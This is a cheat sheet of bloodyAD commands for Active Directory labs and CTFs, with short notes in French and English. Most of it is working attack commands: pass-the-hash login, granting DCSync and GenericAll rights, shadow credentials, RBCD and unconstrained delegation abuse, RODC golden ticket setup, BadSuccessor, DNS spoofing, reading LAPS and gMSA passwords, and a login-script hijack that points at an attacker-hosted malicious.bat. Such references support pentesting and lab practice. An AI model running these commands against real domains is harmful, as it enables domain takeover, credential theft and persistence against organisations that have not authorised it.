Cheat sheet / Active Directory

bloodyAD

Commandes utiles pour l'enumeration et les attaques d'ACL dans un lab AD.

Utilisation

Ces notes reprennent mes commandes de reference pour les labs Active Directory et CTF. Les variables $IP, lab.local, user et password sont a adapter a chaque environnement.

This tool can perform specific LDAP calls to a domain controller in order to perform AD privesc. bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc. Exchange of sensitive information without LDAPS is supported. It is also designed to be used transparently with a SOCKS proxy.

Installation

Windows

Download from https://github.com/CravateRouge/bloodyAD/releases

Linux

Installation
root@kali:~$pipx install git+https://github.com/CravateRouge/bloodyAD

Authentication

User/Password

Authentication
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' ...<SNIP>...

Pass-the-Hash (PtH)

Authentication
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p ':e656e07c56d831611b577b160b259ad2' ...<SNIP>...

Kerberos (FQDN required)

Authentication
root@kali:~$bloodyAD --host $FQDN -d lab.local -k ...<SNIP>...

Enumeration

ACLs/DACL Enum

Enumerate object attributes where we have WRITABLE access (useful for checking permissions that don't appear in BloodHound)

ACLs/DACL Enum
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get writable --detail

Get all securityDescriptors of an object (useful to manually enumerate the entire DACL list of an object searching for permissions that don't appear in BloodHound)

ACLs/DACL Enum
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr ntsecuritydescriptor --resolve-sd

Important: get writable only covers WRITE and CREATE_CHILD rights. It does NOT show extended rights like ForceChangePassword. Use get object TARGET --attr ntsecuritydescriptor --resolve-sd for a complete DACL view, or use PowerView.py's Get-DomainObjectAcl -SecurityIdentifier $SID -ResolveGUIDs for outbound rights enumeration.

Domain Enumeration

Get all available information for a user

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_USER'

Get critical information for a user

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_USER' --attr name,distinguishedName,objectSid,description,memberOf,userAccountControl,adminCount

Get group membership for a user/group/computer

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr memberOf

Get a list of all members of a group

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get membership 'TARGET_GROUP'

Get a list of all users (distinguishedName only)

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype useronly

Get a list of all groups

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype group

Get a list of all computers

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype computer

Get a list of all Organizational Units (OUs)

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype container

Get a list of all Trusts

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype trustedDomain

Get a list of all Kerberoastable users (SPN assigned)

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountName

Get a list of all AS-REP Roastable users

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

Get the total available Machine Account Quota

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota

Get the AD Forest level

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr msDS-Behavior-Version

Get the domain minimum password length

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr minPwdLength

Get domain password history length

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr pwdHistoryLength

Get users that require Smart Card (SMARTCARD_REQUIRED)

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=262144)' --attr samAccountName

Enumerate users inside a specific OU

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --base 'OU=TARGET_OU,DC=LAB,DC=LOCAL' --filter '(objectClass=user)' --attr dn,sAMAccountName

Search for passwords in description fields

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(objectCategory=person)(objectClass=user)(description=*))' --attr sAMAccountName,description

Search for passwords in info fields

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(objectCategory=person)(objectClass=user)(info=*))' --attr sAMAccountName,info

Get BloodHound collector with transitive trusts

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get bloodhound --transitive

Get DNS records

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get dnsDump

Get domain trusts

Domain Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get trusts --transitive

ACL & Object Attacks

Add a user to a group

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add groupMember 'GROUP_NAME' 'MEMBER_TO_ADD'

Remove a user from a group

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove groupMember 'GROUP_NAME' 'MEMBER_TO_REMOVE'

Make a user the owner of an object (WriteOwner abuse)

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set owner 'TARGET_OBJECT' 'TARGET_USER'

Add GenericAll (Full Control) permissions to an object

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add genericAll 'TARGET' 'TRUSTEE'

Remove GenericAll permissions

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove genericAll 'TARGET' 'TRUSTEE'

Enable a disabled account

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove uac 'TARGET_USER' -f ACCOUNTDISABLE

Add DCSync permissions to an object

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'

Remove DCSync permissions

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove dcsync 'OBJECT_TARGET'

Add a malicious script to a user that executes upon login (scriptPath)

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'

Modify the UPN (userPrincipalName) for AD CS/UPN Spoofing attacks

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' userPrincipalName -v 'impersonateUser@lab.local'

Assign a value to the altSecurityIdentities attribute for X.509/ESC14b attacks

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' altSecurityIdentities -v 'X509:<I><....SNIP.....>'

Create a new computer account

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add computer 'COMPUTER_NAME' 'COMPUTER_PASSWORD'

Create a new user in a specific OU

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add user 'NEW_USER' 'NEW_PASSWORD' --ou 'OU=TARGET_OU,DC=LAB,DC=LOCAL'

Remove an object

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove object 'TARGET'

Assign an SPN to a user to make them Kerberoastable

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' servicePrincipalName -v 'cifs/target'

Remove the SPN

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' servicePrincipalName

Downgrade Kerberos encryption types to RC4 (eType 23)

ACL & Object Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' msDS-SupportedEncryptionTypes -v 4

Domain Trusts / Cross-Domain Attacks

Key concept: bloodyAD handles cross-domain queries naturally. Point --host to the target domain's DC while keeping -d as your authenticated domain. The trust handles authentication — no credential rewriting, unlike PowerView.py's Get-DomainForeignUser which has a known bug (issue #234) that rewrites the domain prefix and fails with invalidCredentials.

Enumeration

Enumerate all domain trusts (with transitive trust resolution)

Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get trusts --transitive

Enumerate trusted domain objects

Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype trustedDomain

Query the parent domain's users using child domain credentials (trust handles auth)

Enumeration
root@kali:~$bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' get search --filter '(&(objectCategory=person)(objectClass=user))' --attr sAMAccountName,memberOf

Query the parent domain's groups searching for cross-domain members

Enumeration
root@kali:~$bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' get search --filter '(&(objectClass=group)(member=*))' --attr cn,member

Get object information in a foreign domain

Enumeration
root@kali:~$bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' get object 'TARGET_USER'

Resolve security descriptors across trusts (resolve foreign SIDs)

Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET' --attr ntsecuritydescriptor --resolve-sd --transitive

BloodHound collection across transitive trusts

Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get bloodhound --transitive

DNS records across trusts

Enumeration
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get dnsDump --transitive

Cross-Domain Attacks

Add a cross-domain user/group to a group in the target domain (Bidirectional Trust)

Note: Since objects from the source domain don't natively exist in the target domain's LDAP directory, you must use their SID from the source domain. Point --host to the target DC but authenticate with -d from the source domain.

Cross-Domain Attacks
root@kali:~$bloodyAD --host $TARGET_DC_IP -d source.local -u 'user' -p 'password' add groupMember 'CN=TARGET GROUP,CN=USERS,DC=TARGET,DC=LOCAL' 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX'

Change a user's password in the parent domain from the child domain

Cross-Domain Attacks
root@kali:~$bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' set password 'TARGET_USER' 'NEW_PASSWORD'

Add DCSync rights on the parent domain from the child domain

Cross-Domain Attacks
root@kali:~$bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' add dcsync 'TRUSTEE'

Add GenericAll on an object in the parent domain

Cross-Domain Attacks
root@kali:~$bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' add genericAll 'TARGET' 'TRUSTEE'

Shadow Credentials attack across trust

Cross-Domain Attacks
root@kali:~$bloodyAD --host $PARENT_DC_IP -d child.lab.local -u 'user' -p 'password' add shadowCredentials 'TARGET'

RODC Attacks (RODC Golden Ticket)

Get original msDS-RevealOnDemandGroup values of the RODC object

RODC Attacks (RODC Golden Ticket)
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'RODC01$' --attr msDS-RevealOnDemandGroup

Add the target high-privileged user to the allowed replication group

RODC Attacks (RODC Golden Ticket)
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=lab,DC=local' -v 'CN=Administrator,CN=Users,DC=lab,DC=local'

Clear the msDS-NeverRevealGroup attribute

RODC Attacks (RODC Golden Ticket)
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'RODC01$' msDS-NeverRevealGroup

Password Attacks

Modify a user's password

Password Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set password 'TARGET_USER' 'NEW_PASSWORD'

Read a computer's gMSA password

Password Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_gMSA' --attr msDS-ManagedPassword

Read LAPS passwords

Password Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

Kerberos Attacks

Enable DONT_REQ_PREAUTH to make a user AS-REP Roastable

Kerberos Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add uac 'TARGET_USER' -f DONT_REQ_PREAUTH

Shadow Credentials Attack (requires PKINIT afterwards)

Kerberos Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add shadowCredentials 'TARGET'

Remove Shadow Credentials

Kerberos Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove shadowCredentials 'TARGET'

Add the TRUSTED_TO_AUTH_FOR_DELEGATION flag — Unconstrained Delegation

Kerberos Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add uac 'TARGET' -f TRUSTED_TO_AUTH_FOR_DELEGATION

Add Resource-based Constrained Delegation (RBCD)

Kerberos Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add rbcd 'DELEGATE_TO' 'DELEGATE_FROM'

Remove RBCD

Kerberos Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove rbcd 'DELEGATE_TO' 'DELEGATE_FROM'

dMSA Attacks (BadSuccessor — Windows Server 2025)

Abuse CREATE_CHILD on an OU

dMSA Attacks (BadSuccessor — Windows Server 2025)
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add badSuccessor 'ATTACKER_DMSA'

DNS Attacks

Query DNS records

DNS Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get dnsDump

Create a new DNS record for DNS Spoofing attacks

DNS Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add dnsRecord 'DNS_RECORD_TARGET' 'ATTACKER_IP'

Remove a DNS record

DNS Attacks
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove dnsRecord 'DNS_RECORD_TARGET' 'ATTACKER_IP'

Restore AD Objects

Check if we have permissions to restore deleted objects

Restore AD Objects
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ntsecuritydescriptor --resolve-sd | grep -B3 'Reanimate-Tombstones'

Check for deleted users in AD

Restore AD Objects
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)' --attr name,objectSid,objectGuid,description

Restore a deleted user in AD (you can use GUID, SID, DN or sAMAccountName)

Restore AD Objects
root@kali:~$bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set restore 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX'

References / Useful Pages